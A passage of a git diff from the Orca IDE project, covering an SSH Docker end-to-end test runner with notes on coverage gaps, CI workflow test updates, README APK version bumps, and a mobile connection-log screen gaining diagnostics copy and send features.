@@ -0,0 +1,95 @@
+import { spawnSync } from 'node:child_process'
+
+const rawExtraArgs = process.argv.slice(2)
+const extraArgs = rawExtraArgs[0] === '--' ? rawExtraArgs.slice(1) : rawExtraArgs
+const pnpm = process.platform === 'win32' ? 'pnpm.cmd' : 'pnpm'
+const env = {
+  ...process.env,
+  ORCA_E2E_SSH_DOCKER: '1',
+  ORCA_E2E_WEB_CLIENT: '1'
+}
+
+// Why: Node's CVE-2024-27980 hardening rejects .cmd spawns without shell on Windows.
+const spawnOptions = {
+  stdio: 'inherit',
+  env,
+  shell: process.platform === 'win32'
+}
+
+const runtime = spawnSync(pnpm, ['run', 'ensure:electron-runtime'], spawnOptions)
+
+if (runtime.status !== 0) {
+  process.exit(runtime.status ?? 1)
+}
+
+// Why one explicit list: these specs self-skip without ORCA_E2E_SSH_DOCKER and no sharded lane
+// sets it, so a spec in no runner runs nowhere. The gate contract proves every flag-reading
+// spec is claimed here, by the watcher-isolation or parking runner, or by a listed exclusion.
+//
+// Deliberately absent, and therefore still covered by no CI trigger:
+//   ssh-docker-relay-perf.spec.ts — wall-clock latency thresholds; flaky budgets here would
+//     cost the lane its credibility. NOTE: a runner script test:e2e:ssh-docker-perf exists in
+//     package.json but NO workflow invokes it, so this spec currently runs in no CI lane at
+//     all. Recorded as a real gap, not as coverage living somewhere else.
+//   ssh-codex-display-artifacts-repro.spec.ts — installs a real remote codex binary that CI
+//     runners do not have (observed as `spawn codex ENOENT`). Runs in no CI lane at all.
+//   ssh-docker-bulk-open-freeze-repro.spec.ts — two reasons, both disqualifying:
+//     (a) it is a perf oracle, not a correctness one: SOFT_FREEZE_LAG_MS=2500 /
+//         HARD_FREEZE_LAG_MS=5000 measured by a renderer lag probe under a deliberate
+//         5-pane output flood on a 420s budget. Same rule as ssh-docker-relay-perf above.
+//     (b) it is ROTTED: four call sites are out of date against terminal.ts's current
+//         helpers — execInTerminal gained a ptyId parameter and splitActiveTerminalPane
+//         gained a direction, so it cannot compile, let alone pass. Repairing it needs two
+//         semantic decisions (which ptyId to capture, which split direction) that change
+//         what the repro measures. Tracked in stablyai/orca#16764.
+//
+// Why both projects: ssh-port-forward-lifecycle is @headful, which the headless project
+// grep-inverts away.
+//
+// Known gaps in SSH e2e coverage, recorded here because nothing else names them:
+//   - The job that runs this is still called `ssh-docker-watcher-isolation`, though watcher
+//     isolation is now one spec of many. Renaming it changes the GitHub check name and can
+//     break required-check config, so the name understates the job on purpose.
+//   - E2E does not gate merges: `verify.needs` in pr.yml omits `e2e` while the suite is red on
+//     main. Nothing in this lane blocks a PR yet. pr.yml's Require-successful-checks comment
+//     has the exact wiring to flip it, and the gate contract asserts the current state.
+//   - Five specs and one unit test are gated on env vars no workflow sets, so they run nowhere
+//     and are not Docker-gated, which puts them outside this file's contract:
+//       local-ssh-browser-routing (ORCA_E2E_LOCAL_SSH_BROWSER)
+//       ssh-client-hosted-browser-drop-reconnect (ORCA_E2E_SSH_CLIENT_HOSTED_BROWSER)
+//       nested-runtime-ssh-lifecycle, nested-runtime-ssh-routing (ORCA_E2E_NESTED_RUNTIME_SSH)
+//       ssh-localhost (ORCA_E2E_SSH_LOCALHOST)
+//       ssh-browser-network-execution-route.docker.unit.test.ts (ORCA_RUN_DOCKER_SSH_BROWSER_E2E)
+//     Runner scripts for the first four sit unused in package.json; no workflow calls them.
+const result = spawnSync(
+  pnpm,
+  [
+    'exec',
+    'playwright',
+    'test',
+    'tests/e2e/pty-input-write-queue-ssh.spec.ts',
+    'tests/e2e/ssh-ai-vault-session-history.spec.ts',
+    'tests/e2e/ssh-cold-activation-restore.spec.ts',
+    'tests/e2e/ssh-cold-hydration-gap-tab-seeding.spec.ts',
+    'tests/e2e/ssh-docker-reconnect-pane-restore.spec.ts',
+    'tests/e2e/ssh-external-image-preview.spec.ts',
+    'tests/e2e/ssh-lost-kill-tab-resurrection.spec.ts',
+    'tests/e2e/ssh-pi-compatible-agent-title.spec.ts',
+    'tests/e2e/ssh-port-forward-lifecycle.spec.ts',
+    'tests/e2e/ssh-reconnect-tab-destruction.spec.ts',
+    'tests/e2e/ssh-restart-tab-accumulation.spec.ts',
+    'tests/e2e/ssh-skill-installation.spec.ts',
+    'tests/e2e/ssh-terminal-window-wake-stale-grid-repro.spec.ts',
+    '--config',
+    'tests/playwright.config.ts',
+    '--project',
+    'electron-headless',
+    '--project',
+    'electron-headful',
+    '--workers=1',
+    ...extraArgs
+  ],
+  spawnOptions
+)
+
+process.exit(result.status ?? 1)
diff --git a/config/scripts/skills-cli-package-workflow.test.mjs b/config/scripts/skills-cli-package-workflow.test.mjs
index 489437dd61f..07f7beb46ac 100644
--- a/config/scripts/skills-cli-package-workflow.test.mjs
+++ b/config/scripts/skills-cli-package-workflow.test.mjs
@@ -14,6 +14,7 @@ describe('packaged skills CLI PR gates', () => {
 
     expect(job['runs-on']).toBe('windows-2022')
     expect(buildStep.run).toBe('pnpm run build:release:parallel')
+    expect(buildStep.env.ORCA_REUSE_WINDOWS_CLI_LAUNCHER).toBe('1')
     expect(prepareStep.run).toBe('node config/scripts/ensure-native-runtime.mjs --runtime=electron')
     expect(packageStep.run).toContain('electron-builder')
     expect(packageStep.run).toContain('--dir')
diff --git a/config/scripts/windows-process-tree-gyp-path.test.mjs b/config/scripts/windows-process-tree-gyp-path.test.mjs
index 5a3aa465737..e2e650384ec 100644
--- a/config/scripts/windows-process-tree-gyp-path.test.mjs
+++ b/config/scripts/windows-process-tree-gyp-path.test.mjs
@@ -9,26 +9,30 @@ const PATCH = readFileSync(
   'utf8'
 )
 const PACKAGE_DIR = join(projectDir, 'node_modules', '@vscode', 'windows-process-tree')
-const ABSOLUTE_GYP = "require.resolve('node-addon-api/node_addon_api.gyp')"
+const RESOLVED_GYP = "require.resolve('node-addon-api/node_addon_api.gyp')"
 
 describe('windows-process-tree node-addon-api gyp path', () => {
-  it('keeps the gyp project path absolute so pnpm Windows source builds find it', () => {
-    expect(PATCH).toContain(
-      `+        "<!(node -p \\"require.resolve('node-addon-api/node_addon_api.gyp')\\"):node_addon_api_except"`
+  it('stages headers without a pnpm-sensitive gyp dependency', () => {
+    expect(PATCH).not.toContain('+        "../../node-addon-api')
+    expect(PATCH).toContain('+          "include_dirs": ["deps/node-addon-api"],')
+    expect(PATCH).toContain('+          "defines": ["NAPI_CPP_EXCEPTIONS", "_HAS_EXCEPTIONS=1"],')
+    const buildScript = readFileSync(
+      join(projectDir, 'config/scripts/build-windows-process-tree-relay-addon.mjs'),
+      'utf8'
     )
-    const bindingGyp = readFileSync(join(PACKAGE_DIR, 'binding.gyp'), 'utf8')
-    expect(bindingGyp).toContain(ABSOLUTE_GYP)
-    expect(bindingGyp).not.toContain("require('node-addon-api').targets")
-    expect(
-      readFileSync(
-        join(projectDir, 'config/scripts/build-windows-process-tree-relay-addon.mjs'),
-        'utf8'
-      )
-    ).toContain(ABSOLUTE_GYP)
+    expect(buildScript).toContain(
+      "for (const header of ['napi.h', 'napi-inl.h', 'napi-inl.deprecated.h'])"
+    )
+    expect(buildScript).toContain("import { createRequire } from 'node:module'")
+    expect(buildScript).toContain("import { dirname, join, resolve } from 'node:path'")
+    expect(buildScript).toContain(
+      "createRequire(join(PACKAGE_DIR, 'package.json')).resolve('node-addon-api/package.json')"
+    )
+    expect(buildScript).toContain('Repaired un-applied pnpm patch hunks before build.')
   })
 
   it('resolves node_addon_api.gyp to a real file from the package directory', () => {
-    const resolved = execFileSync(process.execPath, ['-p', ABSOLUTE_GYP], {
+    const resolved = execFileSync(process.execPath, ['-p', RESOLVED_GYP], {
       cwd: PACKAGE_DIR,
       encoding: 'utf8'
     }).trim()
diff --git a/config/scripts/windows-pty-native-capability-workflow.test.mjs b/config/scripts/windows-pty-native-capability-workflow.test.mjs
index 9a6b8b285cf..e1742a43bb0 100644
--- a/config/scripts/windows-pty-native-capability-workflow.test.mjs
+++ b/config/scripts/windows-pty-native-capability-workflow.test.mjs
@@ -28,8 +28,14 @@ describe('packaged Windows PTY native capability routing', () => {
 
   it('keeps patched source rebuild, release build, runtime reuse, and aggregate routing intact', () => {
     const job = workflow.jobs.package_windows
-    const sourceRebuild = job.steps.find(
-      (step) => step.name === 'Rebuild node-pty from patched source'
+    const install = job.steps.find(
+      (step) => step.uses === './.github/actions/install-node-dependencies'
+    )
+    const nodeCacheSave = job.steps.find(
+      (step) => step.name === 'Save compiled Node native modules'
+    )
+    const electronCache = job.steps.find(
+      (step) => step.name === 'Restore compiled Electron native modules'
     )
     const build = job.steps.find((step) => step.name === 'Build package inputs')
     const prepare = job.steps.find((step) => step.name === 'Prepare Electron native runtime')
@@ -37,10 +43,22 @@ describe('packaged Windows PTY native capability routing', () => {
     const verify = workflow.jobs.verify.steps.find(
       (step) => step.name === 'Require successful checks'
     )
+    const ensureNativeRuntime = readFileSync('config/scripts/ensure-native-runtime.mjs', 'utf8')
 
-    expect(sourceRebuild.env.npm_config_build_from_source).toBe('true')
-    expect(sourceRebuild.run).toBe('pnpm rebuild node-pty')
+    expect(install.with['native-runtime']).toBe('node')
+    expect(install.with['persist-native-cache']).toBe('false')
+    expect(nodeCacheSave.uses).toBe('actions/cache/save@v5')
+    expect(nodeCacheSave.with.key).toContain('-node-node')
+    expect(electronCache.with.key).toContain('-electron-node')
+    for (const cache of [nodeCacheSave, electronCache]) {
+      expect(cache.with.key).toContain('.github/actions/install-node-dependencies/action.yml')
+      expect(cache.with.key).toContain('config/scripts/ensure-native-runtime.mjs')
+      expect(cache.with.key).toContain('config/scripts/rebuild-native-deps.mjs')
+    }
+    expect(ensureNativeRuntime).toContain("runPnpm(['exec', 'node-gyp', 'rebuild']")
+    expect(ensureNativeRuntime).toContain("resolve(moduleDir, 'scripts', 'post-install.js')")
     expect(build.run).toBe('pnpm run build:release:parallel')
+    expect(build.env.ORCA_REUSE_WINDOWS_CLI_LAUNCHER).toBe('1')
     expect(prepare.run).toBe('node config/scripts/ensure-native-runtime.mjs --runtime=electron')
     expect(packageStep.env.ORCA_REUSE_PREPARED_NATIVE_RUNTIME).toBe('1')
     expect(workflow.jobs.verify.needs).toContain('package_windows')
diff --git a/docs/assets/readme-downloads.svg b/docs/assets/readme-downloads.svg
index d604b83bf97..49201fa15cc 100644
--- a/docs/assets/readme-downloads.svg
+++ b/docs/assets/readme-downloads.svg
@@ -1,5 +1,5 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="106" height="20" role="img" aria-label="downloads: 30m">
-  <title>downloads: 30m</title>
+<svg xmlns="http://www.w3.org/2000/svg" width="106" height="20" role="img" aria-label="downloads: 31m">
+  <title>downloads: 31m</title>
   <linearGradient id="s" x2="0" y2="100%">
     <stop offset="0" stop-color="#bbb" stop-opacity=".1"/>
     <stop offset="1" stop-opacity=".1"/>
@@ -15,7 +15,7 @@
   <g fill="#fff" text-anchor="middle" font-family="Verdana,Geneva,DejaVu Sans,sans-serif" text-rendering="geometricPrecision" font-size="11">
     <text x="37" y="15" fill="#010101" fill-opacity=".3">downloads</text>
     <text x="37" y="14">downloads</text>
-    <text x="90" y="15" fill="#010101" fill-opacity=".3">30m</text>
-    <text x="90" y="14">30m</text>
+    <text x="90" y="15" fill="#010101" fill-opacity=".3">31m</text>
+    <text x="90" y="14">31m</text>
   </g>
 </svg>
diff --git a/docs/readme/README.es.md b/docs/readme/README.es.md
index 86f04ea9fdf..638220150b5 100644
--- a/docs/readme/README.es.md
+++ b/docs/readme/README.es.md
@@ -36,7 +36,7 @@
 
 Supervisa y dirige a tus agentes desde el teléfono — recibe una notificación cuando un agente termine y envía instrucciones de seguimiento desde cualquier lugar.
 
-[App Store de iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [APK para Android](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
+[App Store de iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [APK para Android](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
 
 </td>
 <td width="50%">
@@ -227,7 +227,7 @@ yay -S stably-orca-bin
 Vincúlala con tu app de escritorio para supervisar y dirigir a tus agentes desde el teléfono.
 
 - **iOS:** [Descargar desde App Store](https://apps.apple.com/us/app/orca-ide/id6766130217)
-- **Android:** [Descargar el APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk)
+- **Android:** [Descargar el APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk)
 
 ---
 
diff --git a/docs/readme/README.fr.md b/docs/readme/README.fr.md
index b015c26449a..c9bb161fe8e 100644
--- a/docs/readme/README.fr.md
+++ b/docs/readme/README.fr.md
@@ -40,7 +40,7 @@
 
 Surveillez et pilotez vos agents depuis votre téléphone — soyez notifié quand un agent termine, et envoyez des instructions de suivi où que vous soyez.
 
-[App Store iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.44](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
+[App Store iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.46](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
 
 </td>
 <td width="50%">
@@ -235,7 +235,7 @@ yay -S stably-orca-bin
 Associez-la à l'app de bureau pour surveiller et piloter vos agents depuis votre téléphone.
 
 - **iOS :** [Télécharger sur l'App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) ou [rejoindre TestFlight](https://testflight.apple.com/join/YjeGMQBA)
-- **Android :** [Télécharger l'APK 0.0.44](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk)
+- **Android :** [Télécharger l'APK 0.0.46](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk)
 
 ---
 
diff --git a/docs/readme/README.ja.md b/docs/readme/README.ja.md
index 3b1992448fe..cc589be1cc5 100644
--- a/docs/readme/README.ja.md
+++ b/docs/readme/README.ja.md
@@ -36,7 +36,7 @@
 
 スマートフォンからエージェントを監視・操作 — エージェントの完了を通知で受け取り、どこからでもフォローアップを送信できます。
 
-[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk) · [ドキュメント →](https://www.onorca.dev/docs/mobile)
+[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk) · [ドキュメント →](https://www.onorca.dev/docs/mobile)
 
 </td>
 <td width="50%">
@@ -227,7 +227,7 @@ yay -S stably-orca-bin
 デスクトップアプリとペアリングして、スマートフォンからエージェントを監視・操作できます。
 
 - **iOS:** [App Store からダウンロード](https://apps.apple.com/us/app/orca-ide/id6766130217)
-- **Android:** [APK をダウンロード](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk)
+- **Android:** [APK をダウンロード](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk)
 
 ---
 
diff --git a/docs/readme/README.ko.md b/docs/readme/README.ko.md
index 6e53e590463..1de67052fcb 100644
--- a/docs/readme/README.ko.md
+++ b/docs/readme/README.ko.md
@@ -36,7 +36,7 @@
 
 휴대폰에서 에이전트를 모니터링하고 조종하세요 — 에이전트가 완료되면 알림을 받고 어디서든 후속 지시를 보낼 수 있습니다.
 
-[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [Android APK 0.0.44](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk) · [문서 →](https://www.onorca.dev/docs/mobile)
+[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [Android APK 0.0.46](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk) · [문서 →](https://www.onorca.dev/docs/mobile)
 
 </td>
 <td width="50%">
@@ -230,7 +230,7 @@ yay -S stably-orca-bin
 데스크톱 앱과 페어링해 휴대폰에서 에이전트를 모니터링하고 조종하세요.
 
 - **iOS:** [App Store에서 다운로드](https://apps.apple.com/us/app/orca-ide/id6766130217) 또는 [TestFlight 참여](https://testflight.apple.com/join/YjeGMQBA)
-- **Android:** [APK 0.0.44 다운로드](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk) · [설치 가이드](https://www.onorca.dev/docs/android-apk)
+- **Android:** [APK 0.0.46 다운로드](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk) · [설치 가이드](https://www.onorca.dev/docs/android-apk)
 
 ---
 
diff --git a/docs/readme/README.pt.md b/docs/readme/README.pt.md
index 9f86dc2cfa3..970fcf6c8a0 100644
--- a/docs/readme/README.pt.md
+++ b/docs/readme/README.pt.md
@@ -36,7 +36,7 @@
 
 Monitore e conduza seus agentes pelo celular — receba uma notificação quando um agente terminar e envie instruções de acompanhamento de qualquer lugar.
 
-[App Store para iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.44](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
+[App Store para iOS](https://apps.apple.com/us/app/orca-ide/id6766130217) · [TestFlight](https://testflight.apple.com/join/YjeGMQBA) · [APK Android 0.0.46](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk) · [Docs →](https://www.onorca.dev/docs/mobile)
 
 </td>
 <td width="50%">
@@ -230,7 +230,7 @@ yay -S stably-orca-bin
 Conecte ao app desktop para monitorar e conduzir seus agentes pelo celular.
 
 - **iOS:** [Baixar na App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) ou [entrar no TestFlight](https://testflight.apple.com/join/YjeGMQBA)
-- **Android:** [Baixar APK 0.0.44](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk)
+- **Android:** [Baixar APK 0.0.46](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk)
 
 ---
 
diff --git a/docs/readme/README.zh-CN.md b/docs/readme/README.zh-CN.md
index 0c619ea260d..2e11413aa2a 100644
--- a/docs/readme/README.zh-CN.md
+++ b/docs/readme/README.zh-CN.md
@@ -36,7 +36,7 @@
 
 用手机监控并指挥你的智能体 — 智能体完成时收到通知，随时随地发送后续指令。
 
-[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk) · [文档 →](https://www.onorca.dev/docs/mobile)
+[iOS App Store](https://apps.apple.com/us/app/orca-ide/id6766130217) · [Android APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk) · [文档 →](https://www.onorca.dev/docs/mobile)
 
 </td>
 <td width="50%">
@@ -227,7 +227,7 @@ yay -S stably-orca-bin
 与桌面应用配对，用手机监控并指挥你的智能体。
 
 - **iOS:** [从 App Store 下载](https://apps.apple.com/us/app/orca-ide/id6766130217)
-- **Android:** [下载 APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk)
+- **Android:** [下载 APK](https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk)
 
 ---
 
diff --git a/docs/reference/windows-process-enumeration.md b/docs/reference/windows-process-enumeration.md
index e4c91329c46..11e39b35b7e 100644
--- a/docs/reference/windows-process-enumeration.md
+++ b/docs/reference/windows-process-enumeration.md
@@ -326,8 +326,6 @@ the Windows CI job rebuilds from source before running the win32 suites.
 it is true before asserting anything else, so an unpatched binary fails loudly
 instead of passing every case vacuously. That guard is what caught this.
 
-`requiresPatchedNodePtySourceBuild()` in `ensure-native-runtime.mjs` still
-exempts win32, on the premise that the patch is Unix-only. That premise is now
-false, but lifting the exemption also needs `pnpm rebuild` to force a source
-build — otherwise the assertion fires and the remedy does not fix it. Left as a
-follow-up rather than changed blind.
+`requiresPatchedNodePtySourceBuild()` in `ensure-native-runtime.mjs` now covers
+win32 as well, and `pnpm rebuild node-pty` sets `npm_config_build_from_source`
+so the patched source build actually replaces the upstream prebuild.
diff --git a/electron.vite.config.ts b/electron.vite.config.ts
index f81dbb93041..4faa844ee4c 100644
--- a/electron.vite.config.ts
+++ b/electron.vite.config.ts
@@ -209,6 +209,7 @@ export const electronViteConfig: UserConfig = {
           index: resolve('src/main/index.ts'),
           // Why: sandboxed webview preloads cannot load Rollup helper chunks.
           'browser-window-close-preload': resolve('src/preload/browser-window-close.ts'),
+          'doc-preview-link-preload': resolve('src/preload/doc-preview-link.ts'),
           'daemon-entry': resolve('src/main/daemon/daemon-entry.ts'),
           'plugin-host-entry': resolve('src/main/plugins/plugin-host-entry.ts'),
           'computer-sidecar': resolve('src/main/computer/sidecar-entry.ts'),
diff --git a/mobile/.oxlintrc.json b/mobile/.oxlintrc.json
index 877a6d7e123..f3338fc3616 100644
--- a/mobile/.oxlintrc.json
+++ b/mobile/.oxlintrc.json
@@ -75,54 +75,18 @@
         "max-lines": ["error", { "max": 1074, "skipBlankLines": true, "skipComments": true }]
       }
     },
-    {
-      "files": ["src/components/mobile-rich-markdown-editor-html.ts"],
-      "rules": {
-        "max-lines": ["error", { "max": 648, "skipBlankLines": true, "skipComments": true }]
-      }
-    },
-    {
-      "files": ["src/components/CustomKeyModal.tsx"],
-      "rules": {
-        "max-lines": ["error", { "max": 645, "skipBlankLines": true, "skipComments": true }]
-      }
-    },
-    {
-      "files": ["app/pair-scan.tsx"],
-      "rules": {
-        "max-lines": ["error", { "max": 531, "skipBlankLines": true, "skipComments": true }]
-      }
-    },
     {
       "files": ["scripts/mock-server.ts"],
       "rules": {
         "max-lines": ["error", { "max": 407, "skipBlankLines": true, "skipComments": true }]
       }
     },
-    {
-      "files": ["src/terminal/terminal-accessory-keys.ts"],
-      "rules": {
-        "max-lines": ["error", { "max": 388, "skipBlankLines": true, "skipComments": true }]
-      }
-    },
     {
       "files": ["app/troubleshoot.tsx"],
       "rules": {
         "max-lines": ["error", { "max": 436, "skipBlankLines": true, "skipComments": true }]
       }
     },
-    {
-      "files": ["scripts/repro-worktree-startup-stream.ts"],
-      "rules": {
-        "max-lines": ["error", { "max": 326, "skipBlankLines": true, "skipComments": true }]
-      }
-    },
-    {
-      "files": ["scripts/repro-terminal-colors.ts"],
-      "rules": {
-        "max-lines": ["error", { "max": 319, "skipBlankLines": true, "skipComments": true }]
-      }
-    },
     {
       "files": ["app/h/*/files/*.tsx"],
       "rules": {
diff --git a/mobile/app/connection-log.tsx b/mobile/app/connection-log.tsx
index e2a9b73ff7f..1ab79c50269 100644
--- a/mobile/app/connection-log.tsx
+++ b/mobile/app/connection-log.tsx
@@ -1,20 +1,35 @@
-import { useCallback, useEffect, useState, useSyncExternalStore } from 'react'
+import { useCallback, useEffect, useMemo, useState, useSyncExternalStore } from 'react'
 import { View, Text, StyleSheet, Pressable, Platform } from 'react-native'
 import { useSafeAreaInsets } from 'react-native-safe-area-context'
-import { useRouter } from 'expo-router'
+import { useLocalSearchParams, useRouter } from 'expo-router'
 import * as Clipboard from 'expo-clipboard'
 import Constants from 'expo-constants'
-import { ChevronLeft, Copy, Check } from 'lucide-react-native'
+import { ChevronLeft, Copy, Check, Send } from 'lucide-react-native'
 import { colors, spacing, typography } from '../src/theme/mobile-theme'
 import { ConnectionLog } from '../src/components/ConnectionLog'
 import { loadHosts } from '../src/transport/host-store'
-import { connectionLogStore } from '../src/transport/connection-log-buffer'
-import { useHostClient } from '../src/transport/client-context'
+import { connectionLogStore } from '../src/transport/persisted-connection-log-store'
+import { useHostClient, useRpcClientContext } from '../src/transport/client-context'
 import {
-  useLastConnectedAt,
+  useConnectionPathStatus,
   useReconnectAttempt
 } from '../src/transport/client-context-connection-metrics'
 import { buildConnectionDiagnosticsReport } from '../src/diagnostics/connection-diagnostics-report'
+import {
+  diagnoseConnection,
+  getReportableConnectionIncidentId
+} from '../src/diagnostics/connection-diagnostics-analysis'
+import { submitConnectionDiagnostics } from '../src/diagnostics/connection-diagnostics-submission'
+import {
+  readHydratedConnectionLog,
+  readConnectionDiagnosticsSnapshot,
+  resolveDiagnosticsHostId,
+  getDiagnosticsSubmissionState,
+  updateDiagnosticsSubmissionState,
+  type DiagnosticsSubmissionStates
+} from '../src/diagnostics/connection-diagnostics-screen-data'
+import { useHostStatusGates } from '../src/transport/host-status-gates'
+import { loadHostAppVersion } from '../src/transport/host-app-version-store'
 import type { ConnectionLogEntry, HostProfile } from '../src/transport/types'
 
 // Why: getSnapshot must be referentially stable when there's no data —
@@ -25,11 +40,19 @@ const EMPTY_ENTRIES: readonly ConnectionLogEntry[] = []
 // screen also *acquires* the host client — opening it kicks a dial and the
 // log fills live instead of showing a stale tail.
 export default function ConnectionLogScreen() {
+  const clientContext = useRpcClientContext()
   const router = useRouter()
+  const params = useLocalSearchParams<{ hostId?: string }>()
   const insets = useSafeAreaInsets()
+  const routeKey = useMemo(() => ({}), [params.hostId])
   const [hosts, setHosts] = useState<HostProfile[]>([])
-  const [selectedId, setSelectedId] = useState<string | null>(null)
-  const [copied, setCopied] = useState(false)
+  const [manualSelection, setManualSelection] = useState<{
+    hostId: string
+    requestedHostId: string | undefined
+    routeKey: object
+  } | null>(null)
+  const [copiedHostId, setCopiedHostId] = useState<string | null>(null)
+  const [submissionStates, setSubmissionStates] = useState<DiagnosticsSubmissionStates>({})
 
   useEffect(() => {
     let stale = false
@@ -38,17 +61,28 @@ export default function ConnectionLogScreen() {
         return
       }
       setHosts(loaded)
-      setSelectedId((prev) => prev ?? loaded[0]?.id ?? null)
     })
     return () => {
       stale = true
     }
   }, [])
 
+  const selectedId = resolveDiagnosticsHostId(hosts, params.hostId, manualSelection, routeKey)
   const selected = hosts.find((h) => h.id === selectedId) ?? null
-  const { state } = useHostClient(selected?.id)
+  const { client, state } = useHostClient(selected?.id)
+  const { desktopAppVersion: liveDesktopAppVersion } = useHostStatusGates({
+    hostId: selected?.id,
+    client,
+    connState: state
+  })
   const reconnectAttempts = useReconnectAttempt(selected?.id)
-  const lastConnectedAt = useLastConnectedAt(selected?.id)
+  const { activePath, pendingPath } = useConnectionPathStatus(selected?.id)
+
+  useEffect(() => {
+    if (selectedId) {
+      void readHydratedConnectionLog(connectionLogStore, selectedId)
+    }
+  }, [selectedId])
 
   const subscribe = useCallback(
     (listener: () => void) =>
@@ -60,25 +94,93 @@ export default function ConnectionLogScreen() {
     [selectedId]
   )
   const entries = useSyncExternalStore(subscribe, getSnapshot)
+  const diagnosis = selected
+    ? diagnoseConnection({ endpoint: selected.endpoint, state, activePath, pendingPath, entries })
+    : null
+  const incidentId = selected
+    ? getReportableConnectionIncidentId({
+        endpoint: selected.endpoint,
+        state,
+        activePath,
+        pendingPath,
+        entries
+      })
+    : null
+  const submissionKey = selected && incidentId ? `${selected.id}:${incidentId}` : null
+  const submissionState = getDiagnosticsSubmissionState(submissionStates, submissionKey)
+  const copied = copiedHostId === selectedId
 
   const copyDiagnostics = useCallback(async () => {
     if (!selected) {
       return
     }
+    const desktopAppVersion = liveDesktopAppVersion ?? (await loadHostAppVersion(selected.id))
+    const snapshot = await readConnectionDiagnosticsSnapshot(
+      clientContext,
+      connectionLogStore,
+      selected.id
+    )
     const report = buildConnectionDiagnosticsReport({
       hostName: selected.name,
       endpoint: selected.endpoint,
-      state,
-      reconnectAttempts,
-      lastConnectedAt,
+      state: snapshot.state,
+      reconnectAttempts: snapshot.reconnectAttempts,
+      lastConnectedAt: snapshot.lastConnectedAt,
       platform: `${Platform.OS} ${Platform.Version ?? ''}`.trim(),
       appVersion: Constants.expoConfig?.version ?? 'unknown',
-      entries
+      desktopAppVersion,
+      entries: snapshot.entries,
+      activePath: snapshot.activePath,
+      pendingPath: snapshot.pendingPath
     })
     await Clipboard.setStringAsync(report)
-    setCopied(true)
-    setTimeout(() => setCopied(false), 2000)
-  }, [selected, state, reconnectAttempts, lastConnectedAt, entries])
+    setCopiedHostId(selected.id)
+    setTimeout(() => setCopiedHostId((hostId) => (hostId === selected.id ? null : hostId)), 2000)
+  }, [selected, liveDesktopAppVersion, clientContext])
+
+  const sendDiagnostics = useCallback(async () => {
+    if (!selected || !submissionKey || submissionState === 'sending') {
+      return
+    }
+    const startedKey = submissionKey
+    setSubmissionStates((states) => updateDiagnosticsSubmissionState(states, startedKey, 'sending'))
+    const appVersion = Constants.expoConfig?.version ?? 'unknown'
+    const platform = `${Platform.OS} ${Platform.Version ?? ''}`.trim()
+    const desktopAppVersion = liveDesktopAppVersion ?? (await loadHostAppVersion(selected.id))
+    const snapshot = await readConnectionDiagnosticsSnapshot(
+      clientContext,
+      connectionLogStore,
+      selected.id
+    )
+    const currentIncidentId = getReportableConnectionIncidentId({
+      endpoint: selected.endpoint,
+      state: snapshot.state,
+      activePath: snapshot.activePath,
+      pendingPath: snapshot.pendingPath,
+      entries: snapshot.entries
+    })
+    if (`${selected.id}:${currentIncidentId ?? ''}` !== startedKey) {
+      setSubmissionStates((states) => updateDiagnosticsSubmissionState(states, startedKey, null))
+      return
+    }
+    const report = buildConnectionDiagnosticsReport({
+      hostName: selected.name,
+      endpoint: selected.endpoint,
+      state: snapshot.state,
+      reconnectAttempts: snapshot.reconnectAttempts,
+      lastConnectedAt: snapshot.lastConnectedAt,
+      platform,
+      appVersion,
